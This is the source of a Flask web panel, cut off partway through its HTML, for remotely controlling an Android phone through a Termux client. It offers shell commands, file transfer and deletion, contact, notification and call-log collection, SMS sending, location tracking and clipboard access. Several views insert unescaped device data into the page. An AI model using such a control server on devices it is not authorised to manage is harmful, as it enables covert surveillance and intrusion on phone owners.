Spaces:
Paused
Paused
| from flask import Flask, request, render_template_string, jsonify, send_from_directory, url_for, abort | |
| import os | |
| import datetime | |
| import uuid | |
| import werkzeug.utils | |
| import json | |
| import mimetypes | |
| # Увеличение лимита на типы для mimetypes | |
| mimetypes.init() | |
| mimetypes.add_type('audio/mpeg', '.mp3') | |
| mimetypes.add_type('video/mp4', '.mp4') | |
| mimetypes.add_type('video/webm', '.webm') | |
| mimetypes.add_type('text/plain', '.log') | |
| mimetypes.add_type('text/css', '.css') | |
| mimetypes.add_type('application/json', '.json') | |
| app = Flask(__name__) | |
| app.config['UPLOAD_FOLDER'] = 'uploads_from_client' | |
| app.config['FILES_TO_CLIENT_FOLDER'] = 'uploads_to_client' | |
| app.config['PREVIEW_FOLDER'] = 'previews_from_client' | |
| os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True) | |
| os.makedirs(app.config['FILES_TO_CLIENT_FOLDER'], exist_ok=True) | |
| os.makedirs(app.config['PREVIEW_FOLDER'], exist_ok=True) | |
| pending_command = None | |
| command_output = "Ожидание команд..." | |
| last_client_heartbeat = None | |
| current_client_path = "~" | |
| device_status_info = {} | |
| notifications_history = [] | |
| contacts_list = [] | |
| HTML_TEMPLATE = """ | |
| <!DOCTYPE html> | |
| <html lang="ru"> | |
| <head> | |
| <meta charset="UTF-8"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> | |
| <title>ПУ Android</title> | |
| <style> | |
| body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f2f5; color: #333; display: flex; flex-direction: column; min-height: 100vh; font-size: 16px; -webkit-text-size-adjust: 100%; } | |
| header { background-color: #333; color: white; padding: 10px 15px; display: flex; align-items: center; box-shadow: 0 2px 5px rgba(0,0,0,0.2); position: fixed; top: 0; left: 0; width: 100%; z-index: 1001;} | |
| .menu-toggle { font-size: 1.5em; background: none; border: none; color: white; cursor: pointer; margin-right: 15px; padding: 5px; } | |
| header h1 { font-size: 1.2em; margin: 0; flex-grow: 1; text-align: center; } | |
| .main-container { display: flex; flex-grow: 1; overflow: hidden; margin-top: 50px; } | |
| .sidebar { width: 250px; background-color: #3f3f3f; color: white; padding: 15px; box-sizing: border-box; display: flex; flex-direction: column; transform: translateX(-100%); transition: transform 0.3s ease-in-out; position: fixed; top: 0; left: 0; height: 100vh; z-index: 1000; overflow-y: auto; padding-top: 60px; } | |
| .sidebar.open { transform: translateX(0); box-shadow: 3px 0 6px rgba(0,0,0,0.2); } | |
| .sidebar h2 { margin-top: 0px; font-size: 1.1em; border-bottom: 1px solid #555; padding-bottom: 10px; } | |
| .sidebar ul { list-style: none; padding: 0; margin: 0; } | |
| .sidebar ul li a { color: #ddd; text-decoration: none; display: block; padding: 12px 10px; border-radius: 4px; margin-bottom: 5px; font-size:0.95em; } | |
| .sidebar ul li a:hover, .sidebar ul li a.active { background-color: #555; color: white; } | |
| .content-overlay { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); z-index: 999; } | |
| .content-overlay.active { display: block; } | |
| .content { flex-grow: 1; padding: 15px; box-sizing: border-box; overflow-y: auto; } | |
| .container { background-color: #fff; padding: 15px; border-radius: 8px; box-shadow: 0 1px 3px rgba(0,0,0,0.1); margin-bottom:15px; } | |
| .control-section { margin-bottom: 15px; padding: 10px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #f9f9f9; } | |
| label { display: block; margin-bottom: 6px; font-weight: bold; color: #555; font-size: 0.9em; } | |
| input[type="text"], textarea, input[type="file"] { width: calc(100% - 22px); padding: 10px; margin-bottom: 10px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; font-size: 1em; } | |
| button { padding: 10px 15px; background-color: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; font-size: 0.9em; margin-right: 5px; margin-bottom: 8px; display: inline-block; } | |
| button:hover { background-color: #0056b3; } | |
| pre { background-color: #282c34; color: #abb2bf; padding: 10px; border-radius: 4px; white-space: pre-wrap; word-wrap: break-word; max-height: 400px; overflow-y: auto; font-family: 'Courier New', Courier, monospace; font-size: 0.85em; } | |
| .status { padding: 10px; border-radius: 4px; margin-bottom:10px; font-weight: bold; font-size: 0.9em; } | |
| .status.online { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; } | |
| .status.offline { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; } | |
| .file-browser ul { list-style: none; padding: 0; } | |
| .file-browser li { padding: 8px 0; border-bottom: 1px solid #eee; display: flex; flex-wrap: wrap; justify-content: space-between; align-items: center; } | |
| .file-browser li .file-name-container { flex-grow: 1; margin-right: 10px; word-break: break-all; } | |
| .file-browser li .file-actions button { margin-left: 5px; padding: 4px 8px; font-size:0.8em; } | |
| .file-browser li:last-child { border-bottom: none; } | |
| .file-browser a { text-decoration: none; color: #007bff; } | |
| .file-browser a:hover { text-decoration: underline; } | |
| .file-icon { margin-right: 8px; } | |
| .file-browser .dir a { font-weight: bold; } | |
| .file-browser .preview-btn, .file-browser .zip-btn { background-color: #ffc107; color: #333; } | |
| .file-browser .download-btn { background-color: #28a745; } | |
| .file-browser .delete-btn { background-color: #dc3545; } | |
| .preview-modal { | |
| display: none; position: fixed; z-index: 2000; left: 0; top: 0; width: 100%; height: 100%; overflow: auto; background-color: rgba(0,0,0,0.9); | |
| } | |
| .preview-content { | |
| margin: auto; display: block; width: 80%; max-width: 900px; max-height: 90%; position: relative; top: 50%; transform: translateY(-50%); background: #fff; border-radius: 8px; padding: 20px; | |
| } | |
| .preview-content pre, .preview-content img, .preview-content video, .preview-content audio { | |
| display: block; width: 100%; height: auto; max-height: 70vh; margin: 10px 0; object-fit: contain; | |
| } | |
| .preview-content pre { | |
| background-color: #1e1e1e; color: #d4d4d4; max-height: 65vh; overflow-y: scroll; padding: 15px; white-space: pre-wrap; word-break: break-all; | |
| } | |
| .close-btn { color: #aaa; float: right; font-size: 28px; font-weight: bold; } | |
| .close-btn:hover, .close-btn:focus { color: #fff; text-decoration: none; cursor: pointer; } | |
| .preview-actions { text-align: center; margin-top: 15px; } | |
| @media (min-width: 768px) { | |
| header { display: none; } | |
| .sidebar { transform: translateX(0); position: static; height: 100vh; box-shadow: none; padding-top: 15px; } | |
| .main-container { margin-top: 0; } | |
| .content-overlay { display: none !important; } | |
| } | |
| </style> | |
| <script> | |
| let currentView = 'dashboard'; | |
| function toggleMenu() { | |
| document.querySelector('.sidebar').classList.toggle('open'); | |
| document.querySelector('.content-overlay').classList.toggle('active'); | |
| } | |
| function showSection(sectionId) { | |
| document.querySelectorAll('.content > div.container').forEach(div => div.style.display = 'none'); | |
| document.getElementById(sectionId).style.display = 'block'; | |
| document.querySelectorAll('.sidebar a').forEach(a => a.classList.remove('active')); | |
| const activeLink = document.querySelector(`.sidebar a[href="#${sectionId}"]`); | |
| if (activeLink) activeLink.classList.add('active'); | |
| currentView = sectionId; | |
| if (window.innerWidth < 768 && document.querySelector('.sidebar').classList.contains('open')) { | |
| toggleMenu(); | |
| } | |
| if (sectionId === 'files') refreshClientPathDisplay(); | |
| if (sectionId === 'uploads') refreshServerUploads(); | |
| refreshOutput(); | |
| } | |
| function formatBytes(bytes, decimals = 2) { | |
| if (bytes === 0) return '0 Bytes'; | |
| const k = 1024; | |
| const dm = decimals < 0 ? 0 : decimals; | |
| const sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB']; | |
| const i = Math.floor(Math.log(bytes) / Math.log(k)); | |
| return parseFloat((bytes / Math.pow(k, i)).toFixed(dm)) + ' ' + sizes[i]; | |
| } | |
| async function refreshServerUploads() { | |
| try { | |
| const response = await fetch('/list_uploaded_files'); | |
| const data = await response.json(); | |
| const fileListUl = document.getElementById('serverUploadedFiles'); | |
| fileListUl.innerHTML = ''; | |
| if (data.files && data.files.length > 0) { | |
| data.files.forEach(file => { | |
| const li = document.createElement('li'); | |
| const infoDiv = document.createElement('div'); | |
| infoDiv.className = 'file-info'; | |
| const link = document.createElement('a'); | |
| link.href = '/uploads_from_client/' + encodeURIComponent(file.name); | |
| link.textContent = file.name; | |
| link.target = '_blank'; | |
| infoDiv.appendChild(link); | |
| const metaSpan = document.createElement('span'); | |
| metaSpan.className = 'file-meta'; | |
| const date = new Date(file.mtime * 1000).toLocaleString(); | |
| metaSpan.textContent = `${formatBytes(file.size)} - ${date}`; | |
| infoDiv.appendChild(metaSpan); | |
| li.appendChild(infoDiv); | |
| const actionsDiv = document.createElement('div'); | |
| actionsDiv.className = 'file-actions'; | |
| const downloadBtn = document.createElement('button'); | |
| downloadBtn.textContent = 'Скачать'; | |
| downloadBtn.title = 'Скачать'; | |
| downloadBtn.className = 'download-btn'; | |
| downloadBtn.onclick = () => window.open('/uploads_from_client/' + encodeURIComponent(file.name), '_blank'); | |
| actionsDiv.appendChild(downloadBtn); | |
| const deleteBtn = document.createElement('button'); | |
| deleteBtn.textContent = '❌'; | |
| deleteBtn.title = 'Удалить'; | |
| deleteBtn.className = 'delete-btn'; | |
| deleteBtn.onclick = () => deleteUploadedFile(file.name); | |
| actionsDiv.appendChild(deleteBtn); | |
| li.appendChild(actionsDiv); | |
| fileListUl.appendChild(li); | |
| }); | |
| } else { | |
| fileListUl.innerHTML = '<li>Нет загруженных файлов с клиента.</li>'; | |
| } | |
| } catch(e) { | |
| document.getElementById('serverUploadedFiles').innerHTML = '<li>Ошибка загрузки списка файлов.</li>'; | |
| } | |
| } | |
| async function deleteUploadedFile(filename) { | |
| if (!confirm(`Вы уверены, что хотите удалить файл "${filename}" с сервера?`)) return; | |
| try { | |
| const response = await fetch('/delete_uploaded_file/' + encodeURIComponent(filename), { | |
| method: 'POST' | |
| }); | |
| const result = await response.json(); | |
| if(result.status === 'success') { | |
| refreshServerUploads(); | |
| } else { | |
| alert('Ошибка удаления файла: ' + result.message); | |
| } | |
| } catch(e) { | |
| alert('Сетевая ошибка при удалении файла.'); | |
| } | |
| } | |
| async function refreshOutput() { | |
| try { | |
| const response = await fetch('/get_status_output'); | |
| const data = await response.json(); | |
| if (data.output && (currentView !== 'device_status' && currentView !== 'notifications' && currentView !== 'contacts')) { | |
| document.getElementById('outputArea').innerText = data.output; | |
| } | |
| if (data.last_heartbeat) { | |
| const statusDiv = document.getElementById('clientStatus'); | |
| const lastBeat = new Date(data.last_heartbeat); | |
| const now = new Date(); | |
| const diffSeconds = (now - lastBeat) / 1000; | |
| if (diffSeconds < 45) { | |
| statusDiv.className = 'status online'; | |
| statusDiv.innerText = 'Клиент ОНЛАЙН (Пинг: ' + lastBeat.toLocaleTimeString() + ')'; | |
| } else { | |
| statusDiv.className = 'status offline'; | |
| statusDiv.innerText = 'Клиент ОФФЛАЙН (Пинг: ' + lastBeat.toLocaleTimeString() + ')'; | |
| } | |
| } else { | |
| document.getElementById('clientStatus').className = 'status offline'; | |
| document.getElementById('clientStatus').innerText = 'Клиент ОФФЛАЙН'; | |
| } | |
| if (data.current_path && currentView === 'files') { | |
| document.getElementById('currentPathDisplay').innerText = data.current_path; | |
| if (data.output && data.output.startsWith("Содержимое") ) { | |
| renderFileList(data.output, data.current_path); | |
| } else if (data.output && currentView === 'files') { | |
| document.getElementById('fileList').innerHTML = `<li>${data.output.replace(/\\n/g, '<br>')}</li>`; | |
| } | |
| } | |
| if (data.device_status && currentView === 'device_status') { | |
| updateDeviceStatusDisplay(data.device_status); | |
| } | |
| if (data.notifications && currentView === 'notifications') { | |
| renderNotifications(data.notifications); | |
| } | |
| if (data.contacts && currentView === 'contacts') { | |
| renderContacts(data.contacts); | |
| } | |
| if (data.preview_file) { | |
| showPreviewModal(data.preview_file, data.preview_mimetype); | |
| } | |
| } catch (error) { | |
| console.error("Error refreshing data:", error); | |
| if (currentView === 'dashboard' || currentView === 'shell' || currentView === 'media' || currentView === 'clipboard' || currentView === 'utils' || currentView === 'messaging' || currentView === 'system') { | |
| document.getElementById('outputArea').innerText = "Ошибка обновления данных с сервера."; | |
| } | |
| } | |
| } | |
| function updateDeviceStatusDisplay(status) { | |
| document.getElementById('batteryStatus').innerHTML = status.battery ? `<strong>Заряд:</strong> ${status.battery.percentage}% (${status.battery.status}, ${status.battery.health})` : '<strong>Заряд:</strong> Н/Д'; | |
| document.getElementById('locationStatus').innerHTML = status.location ? `<strong>Локация:</strong> ${status.location.latitude}, ${status.location.longitude} (Точность: ${status.location.accuracy}м, Скорость: ${status.location.speed} м/с)` : '<strong>Локация:</strong> Н/Д (Запросите для обновления)'; | |
| if (status.location && status.location.latitude && status.location.longitude) { | |
| document.getElementById('locationMapLink').innerHTML = `<a href="https://www.google.com/maps?q=${status.location.latitude},${status.location.longitude}" target="_blank">Показать на карте Google</a>`; | |
| } else { | |
| document.getElementById('locationMapLink').innerHTML = ''; | |
| } | |
| document.getElementById('processesStatus').innerHTML = status.processes ? `<pre>${status.processes}</pre>` : '<strong>Процессы:</strong> Н/Д (Запросите для обновления)'; | |
| } | |
| function renderFileList(lsOutput, currentPath) { | |
| const fileListUl = document.getElementById('fileList'); | |
| fileListUl.innerHTML = ''; | |
| const lines = lsOutput.split('\\n'); | |
| let isRootOrHome = (currentPath === '/' || currentPath === '~' || currentPath === osPathToUserFriendly(currentPath, true)); | |
| if (!isRootOrHome) { | |
| const parentLi = document.createElement('li'); | |
| parentLi.className = 'dir'; | |
| const parentA = document.createElement('a'); | |
| parentA.href = '#'; | |
| parentA.innerHTML = '<span class="file-icon">🔙</span> .. (Наверх)'; | |
| parentA.onclick = (e) => { e.preventDefault(); navigateTo('..'); }; | |
| parentLi.appendChild(parentA); | |
| fileListUl.appendChild(parentLi); | |
| } | |
| lines.forEach(line => { | |
| if (line.trim() === '' || line.startsWith("Содержимое")) return; | |
| const parts = line.match(/^(\\[[DF]\\])\\s*(.*)/); | |
| if (!parts) return; | |
| const type = parts[1]; | |
| const name = parts[2].trim(); | |
| const li = document.createElement('li'); | |
| const nameContainer = document.createElement('div'); | |
| nameContainer.className = 'file-name-container'; | |
| const a = document.createElement('a'); | |
| a.href = '#'; | |
| const actionsContainer = document.createElement('div'); | |
| actionsContainer.className = 'file-actions'; | |
| if (type === '[D]') { | |
| li.className = 'dir'; | |
| a.innerHTML = `<span class="file-icon">📁</span> ${name}`; | |
| a.onclick = (e) => { e.preventDefault(); navigateTo(name); }; | |
| nameContainer.appendChild(a); | |
| const zipBtn = document.createElement('button'); | |
| zipBtn.className = 'zip-btn'; | |
| zipBtn.textContent = 'ZIP'; | |
| zipBtn.title = 'Скачать как ZIP'; | |
| zipBtn.onclick = (e) => { e.preventDefault(); requestZipDownload(name); }; | |
| actionsContainer.appendChild(zipBtn); | |
| const deleteBtn = document.createElement('button'); | |
| deleteBtn.className = 'delete-btn'; | |
| deleteBtn.textContent = 'Удалить'; | |
| deleteBtn.onclick = (e) => { e.preventDefault(); requestDeleteFile(name); }; | |
| actionsContainer.appendChild(deleteBtn); | |
| } else { | |
| li.className = 'file'; | |
| a.innerHTML = `<span class="file-icon">📄</span> ${name}`; | |
| a.onclick = (e) => { e.preventDefault(); }; | |
| nameContainer.appendChild(a); | |
| const previewBtn = document.createElement('button'); | |
| previewBtn.className = 'preview-btn'; | |
| previewBtn.textContent = '👁️'; | |
| previewBtn.title = 'Предпросмотр'; | |
| previewBtn.onclick = (e) => { e.preventDefault(); requestPreviewFile(name); }; | |
| actionsContainer.appendChild(previewBtn); | |
| const downloadBtn = document.createElement('button'); | |
| downloadBtn.className = 'download-btn'; | |
| downloadBtn.textContent = 'Скачать'; | |
| downloadBtn.onclick = (e) => { e.preventDefault(); requestDownloadFile(name); }; | |
| actionsContainer.appendChild(downloadBtn); | |
| const deleteBtn = document.createElement('button'); | |
| deleteBtn.className = 'delete-btn'; | |
| deleteBtn.textContent = 'Удалить'; | |
| deleteBtn.onclick = (e) => { e.preventDefault(); requestDeleteFile(name); }; | |
| actionsContainer.appendChild(deleteBtn); | |
| } | |
| li.appendChild(nameContainer); | |
| li.appendChild(actionsContainer); | |
| fileListUl.appendChild(li); | |
| }); | |
| } | |
| function showPreviewModal(filename, mimetype) { | |
| const modal = document.getElementById('previewModal'); | |
| const contentDiv = document.getElementById('previewContent'); | |
| const titleSpan = document.getElementById('previewTitle'); | |
| const actionsDiv = document.getElementById('previewActions'); | |
| titleSpan.innerText = filename; | |
| contentDiv.innerHTML = ''; | |
| actionsDiv.innerHTML = `<button class="download-btn" onclick="window.open('/preview_content/${filename}', '_blank')">Скачать</button>`; | |
| const url = '/preview_content/' + encodeURIComponent(filename); | |
| if (mimetype.startsWith('image/')) { | |
| contentDiv.innerHTML = `<img src="${url}" alt="${filename}">`; | |
| } else if (mimetype.startsWith('video/')) { | |
| contentDiv.innerHTML = `<video controls src="${url}"></video>`; | |
| } else if (mimetype.startsWith('audio/')) { | |
| contentDiv.innerHTML = `<audio controls src="${url}"></audio>`; | |
| } else if (mimetype.startsWith('text/')) { | |
| fetch(url) | |
| .then(response => { | |
| if (response.ok) return response.text(); | |
| throw new Error('Failed to load text content'); | |
| }) | |
| .then(text => { | |
| contentDiv.innerHTML = `<pre>${text}</pre>`; | |
| }) | |
| .catch(error => { | |
| contentDiv.innerHTML = `<p>Ошибка загрузки текстового файла: ${error.message}</p>`; | |
| }); | |
| } else { | |
| contentDiv.innerHTML = `<p>Формат файла (${mimetype}) не поддерживается для предпросмотра. Нажмите "Скачать" для сохранения.</p>`; | |
| } | |
| modal.style.display = 'block'; | |
| const closeBtn = document.querySelector('.preview-modal .close-btn'); | |
| closeBtn.onclick = () => { | |
| modal.style.display = 'none'; | |
| clearPreviewFile(filename); | |
| }; | |
| window.onclick = (event) => { | |
| if (event.target == modal) { | |
| modal.style.display = 'none'; | |
| clearPreviewFile(filename); | |
| } | |
| }; | |
| } | |
| async function clearPreviewFile(filename) { | |
| try { | |
| const response = await fetch('/clear_preview_file/' + encodeURIComponent(filename), { | |
| method: 'POST' | |
| }); | |
| const result = await response.json(); | |
| if(result.status !== 'success') { | |
| console.error('Ошибка очистки файла предпросмотра:', result.message); | |
| } | |
| } catch(e) { | |
| console.error('Сетевая ошибка при очистке файла предпросмотра.'); | |
| } | |
| } | |
| function renderNotifications(notifications) { | |
| const notificationListDiv = document.getElementById('notificationList'); | |
| notificationListDiv.innerHTML = ''; | |
| if (notifications && notifications.length > 0) { | |
| notifications.forEach(n => { | |
| const itemDiv = document.createElement('div'); | |
| itemDiv.className = 'notification-item'; | |
| itemDiv.innerHTML = ` | |
| <strong>${n.title || 'Без заголовка'}</strong> | |
| <span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span> | |
| <span><strong>Когда:</strong> ${n.when ? new Date(n.when).toLocaleString() : 'N/A'}</span> | |
| <p>${n.content || 'Нет содержимого'}</p> | |
| `; | |
| notificationListDiv.appendChild(itemDiv); | |
| }); | |
| } else { | |
| notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения.</p>'; | |
| } | |
| } | |
| function renderContacts(contacts) { | |
| const contactListDiv = document.getElementById('contactList'); | |
| contactListDiv.innerHTML = ''; | |
| if (contacts && contacts.length > 0) { | |
| contacts.forEach(c => { | |
| const itemDiv = document.createElement('div'); | |
| itemDiv.className = 'contact-item'; | |
| let numbersHtml = ''; | |
| if (c.numbers && c.numbers.length > 0) { | |
| c.numbers.forEach(num => { | |
| numbersHtml += `<span class="contact-number">${num}</span>`; | |
| }); | |
| } else { | |
| numbersHtml = '<span>Нет номеров</span>'; | |
| } | |
| itemDiv.innerHTML = ` | |
| <strong>${c.name || 'Без имени'}</strong> | |
| ${numbersHtml} | |
| `; | |
| contactListDiv.appendChild(itemDiv); | |
| }); | |
| } else { | |
| contactListDiv.innerHTML = '<p>Список контактов пуст или не удалось его получить.</p>'; | |
| } | |
| } | |
| async function sendGenericCommand(payload) { | |
| try { | |
| document.getElementById('outputArea').innerText = "Отправка команды..."; | |
| const response = await fetch('/send_command', { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' }, | |
| body: JSON.stringify(payload) | |
| }); | |
| if (!response.ok) { | |
| console.error("Server error sending command"); | |
| document.getElementById('outputArea').innerText = "Ошибка сервера при отправке команды."; | |
| } | |
| } catch (error) { | |
| console.error("Network error sending command:", error); | |
| document.getElementById('outputArea').innerText = "Сетевая ошибка при отправке команды."; | |
| } | |
| } | |
| function navigateTo(itemName) { | |
| sendGenericCommand({ command_type: 'list_files', path: itemName }); | |
| if (currentView === 'files') { | |
| document.getElementById('fileList').innerHTML = '<li>Загрузка...</li>'; | |
| } | |
| } | |
| function requestDownloadFile(filename) { | |
| sendGenericCommand({ command_type: 'request_download_file', filename: filename }); | |
| showSection('dashboard'); | |
| document.getElementById('outputArea').innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`; | |
| } | |
| function requestPreviewFile(filename) { | |
| sendGenericCommand({ command_type: 'request_preview_file', filename: filename }); | |
| showSection('dashboard'); | |
| document.getElementById('outputArea').innerText = `Запрос на предпросмотр файла ${filename}... Ожидайте модального окна.`; | |
| } | |
| function requestZipDownload(dirname) { | |
| sendGenericCommand({ command_type: 'zip_and_upload_dir', path: dirname }); | |
| showSection('dashboard'); | |
| document.getElementById('outputArea').innerText = `Запрос на архивацию и скачивание директории ${dirname}... Это может занять время. Ожидайте появления ZIP-архива в разделе "Загрузки с клиента".`; | |
| } | |
| function requestDeleteFile(filename) { | |
| if (confirm(`Вы уверены, что хотите удалить "${filename}" с устройства клиента? Это действие необратимо.`)) { | |
| sendGenericCommand({ command_type: 'delete_file', filename: filename }); | |
| } | |
| } | |
| function refreshClientPathDisplay(){ | |
| if (document.getElementById('currentPathDisplay')) { | |
| fetch('/get_status_output').then(r=>r.json()).then(data => { | |
| if(data.current_path) document.getElementById('currentPathDisplay').innerText = data.current_path; | |
| }); | |
| } | |
| } | |
| window.onload = () => { | |
| showSection('dashboard'); | |
| setInterval(refreshOutput, 4000); | |
| refreshOutput(); | |
| document.querySelector('.menu-toggle').addEventListener('click', toggleMenu); | |
| document.querySelector('.content-overlay').addEventListener('click', toggleMenu); | |
| }; | |
| function submitShellCommand(event) { | |
| event.preventDefault(); | |
| const command = document.getElementById('command_str').value; | |
| sendGenericCommand({ command_type: 'shell', command: command }); | |
| document.getElementById('command_str').value = ''; | |
| } | |
| function submitMediaCommand(type, paramName, paramValueId) { | |
| let payload = { command_type: type }; | |
| if (paramName && paramValueId) { | |
| const value = document.getElementById(paramValueId).value; | |
| if (value) payload[paramName] = value; | |
| } | |
| sendGenericCommand(payload); | |
| } | |
| async function handleUploadToServer(event) { | |
| event.preventDefault(); | |
| const fileInput = document.getElementById('fileToUploadToDevice'); | |
| const targetPathInput = document.getElementById('targetDevicePath'); | |
| if (!fileInput.files[0]) { | |
| alert("Пожалуйста, выберите файл для загрузки."); | |
| return; | |
| } | |
| if (!targetPathInput.value) { | |
| alert("Пожалуйста, укажите путь на устройстве."); | |
| return; | |
| } | |
| const formData = new FormData(); | |
| formData.append('file_to_device', fileInput.files[0]); | |
| formData.append('target_path_on_device', targetPathInput.value); | |
| document.getElementById('uploadToDeviceStatus').innerText = 'Загрузка файла на сервер...'; | |
| try { | |
| const response = await fetch('/upload_to_server_for_client', { | |
| method: 'POST', | |
| body: formData | |
| }); | |
| const result = await response.json(); | |
| if (result.status === 'success') { | |
| document.getElementById('uploadToDeviceStatus').innerText = 'Файл загружен на сервер, ожидание отправки клиенту. Имя файла на сервере: ' + result.server_filename; | |
| sendGenericCommand({ | |
| command_type: 'receive_file', | |
| server_filename: result.server_filename, | |
| target_path_on_device: result.target_path_on_device | |
| }); | |
| } else { | |
| document.getElementById('uploadToDeviceStatus').innerText = 'Ошибка: ' + result.message; | |
| } | |
| } catch (error) { | |
| document.getElementById('uploadToDeviceStatus').innerText = 'Сетевая ошибка при загрузке файла на сервер: ' + error; | |
| } | |
| } | |
| function getClipboard() { sendGenericCommand({ command_type: 'clipboard_get' }); } | |
| function setClipboard() { | |
| const text = document.getElementById('clipboardSetText').value; | |
| sendGenericCommand({ command_type: 'clipboard_set', text: text }); | |
| } | |
| function openUrlOnDevice() { | |
| const url = document.getElementById('urlToOpen').value; | |
| if (url) { sendGenericCommand({ command_type: 'open_url', url: url }); } | |
| else { alert("Пожалуйста, введите URL."); } | |
| } | |
| function requestDeviceStatus(item = null) { | |
| let payload = { command_type: 'get_device_status' }; | |
| if (item) { payload.item = item; } | |
| sendGenericCommand(payload); | |
| } | |
| function requestNotifications() { sendGenericCommand({ command_type: 'get_notifications' }); } | |
| function requestContacts() { sendGenericCommand({ command_type: 'get_contacts' }); } | |
| function getCallLog() { sendGenericCommand({ command_type: 'get_call_log' }); } | |
| function sendSms() { | |
| const number = document.getElementById('smsNumber').value; | |
| const text = document.getElementById('smsText').value; | |
| if (number && text) { | |
| sendGenericCommand({ command_type: 'send_sms', number: number, text: text }); | |
| } else { alert("Введите номер и текст SMS."); } | |
| } | |
| function speakText() { | |
| const text = document.getElementById('ttsText').value; | |
| if (text) { sendGenericCommand({ command_type: 'tts_speak', text: text }); } | |
| else { alert("Введите текст для озвучивания."); } | |
| } | |
| function vibrateDevice() { | |
| const duration = document.getElementById('vibrateDuration').value; | |
| sendGenericCommand({ command_type: 'vibrate', duration: duration }); | |
| } | |
| function toggleTorch(state) { | |
| sendGenericCommand({ command_type: 'torch', state: state }); | |
| } | |
| function getDeviceInfo() { sendGenericCommand({ command_type: 'get_device_info' }); } | |
| function getWifiInfo() { sendGenericCommand({ command_type: 'get_wifi_info' }); } | |
| </script> | |
| </head> | |
| <body> | |
| <header> | |
| <button class="menu-toggle" aria-label="Toggle menu">☰</button> | |
| <h1>ПУ Android</h1> | |
| </header> | |
| <div class="main-container"> | |
| <div class="sidebar"> | |
| <h2>Меню</h2> | |
| <ul> | |
| <li><a href="#dashboard" onclick="showSection('dashboard')" class="active">Панель</a></li> | |
| <li><a href="#device_status" onclick="showSection('device_status')">Статус устройства</a></li> | |
| <li><a href="#notifications" onclick="showSection('notifications')">Уведомления</a></li> | |
| <li><a href="#contacts" onclick="showSection('contacts')">Контакты</a></li> | |
| <li><a href="#messaging" onclick="showSection('messaging')">Сообщения/Звонки</a></li> | |
| <li><a href="#files" onclick="showSection('files')">Файлы</a></li> | |
| <li><a href="#shell" onclick="showSection('shell')">Терминал</a></li> | |
| <li><a href="#media" onclick="showSection('media')">Медиа</a></li> | |
| <li><a href="#clipboard" onclick="showSection('clipboard')">Буфер обмена</a></li> | |
| <li><a href="#utils" onclick="showSection('utils')">Утилиты</a></li> | |
| <li><a href="#system" onclick="showSection('system')">Система</a></li> | |
| <li><a href="#uploads" onclick="showSection('uploads')">Загрузки с клиента</a></li> | |
| </ul> | |
| </div> | |
| <div class="content-overlay"></div> | |
| <div class="content"> | |
| <div id="clientStatus" class="status offline">Статус клиента неизвестен</div> | |
| <div id="dashboard" class="container"> | |
| <h2>Общая информация</h2> | |
| <p>Добро пожаловать в панель управления. Выберите действие из меню слева.</p> | |
| <div class="control-section"> | |
| <h3>Вывод последней операции:</h3> | |
| <pre id="outputArea">Ожидание вывода...</pre> | |
| </div> | |
| </div> | |
| <div id="device_status" class="container hidden-section"> | |
| <h2>Статус устройства</h2> | |
| <button onclick="requestDeviceStatus()">Обновить все</button> | |
| <div class="control-section"> | |
| <h3>Батарея</h3> | |
| <div id="batteryStatus" class="status-item"><strong>Заряд:</strong> Н/Д</div> | |
| <button onclick="requestDeviceStatus('battery')">Обновить батарею</button> | |
| </div> | |
| <div class="control-section"> | |
| <h3>Геолокация</h3> | |
| <div id="locationStatus" class="status-item"><strong>Локация:</strong> Н/Д</div> | |
| <div id="locationMapLink" class="status-item"></div> | |
| <button onclick="requestDeviceStatus('location')">Обновить геолокацию</button> | |
| </div> | |
| <div class="control-section"> | |
| <h3>Запущенные процессы (пользователя Termux)</h3> | |
| <div id="processesStatus" class="status-item"><strong>Процессы:</strong> Н/Д</div> | |
| <button onclick="requestDeviceStatus('processes')">Обновить процессы</button> | |
| </div> | |
| </div> | |
| <div id="notifications" class="container hidden-section"> | |
| <h2>Уведомления устройства</h2> | |
| <button onclick="requestNotifications()">Обновить уведомления</button> | |
| <div class="control-section"> | |
| <h3>Список уведомлений:</h3> | |
| <div id="notificationList" class="notification-list"><p>Запросите список уведомлений.</p></div> | |
| </div> | |
| </div> | |
| <div id="contacts" class="container hidden-section"> | |
| <h2>Контакты</h2> | |
| <button onclick="requestContacts()">Запросить список контактов</button> | |
| <div class="control-section"> | |
| <h3>Список контактов:</h3> | |
| <div id="contactList" class="contact-list"><p>Запросите список контактов.</p></div> | |
| </div> | |
| </div> | |
| <div id="messaging" class="container hidden-section"> | |
| <h2>Сообщения и звонки</h2> | |
| <div class="control-section"> | |
| <h3>Отправить SMS</h3> | |
| <label for="smsNumber">Номер телефона:</label> | |
| <input type="text" id="smsNumber" placeholder="+79001234567"> | |
| <label for="smsText">Текст сообщения:</label> | |
| <textarea id="smsText" rows="3"></textarea> | |
| <button onclick="sendSms()">Отправить SMS</button> | |
| </div> | |
| <div class="control-section"> | |
| <h3>Журнал звонков</h3> | |
| <button onclick="getCallLog()">Получить журнал звонков</button> | |
| </div> | |
| <div class="control-section" style="margin-top:20px;"> | |
| <h3>Результат операции:</h3> | |
| <pre id="outputAreaMessagingCopy"></pre> | |
| </div> | |
| </div> | |
| <div id="files" class="container hidden-section"> | |
| <h2>Файловый менеджер (Клиент)</h2> | |
| <p>Текущий путь на клиенте: <strong id="currentPathDisplay">~</strong></p> | |
| <button onclick="navigateTo('~')">Дом (~)</button> | |
| <button onclick="navigateTo('/sdcard/')">Память</button> | |
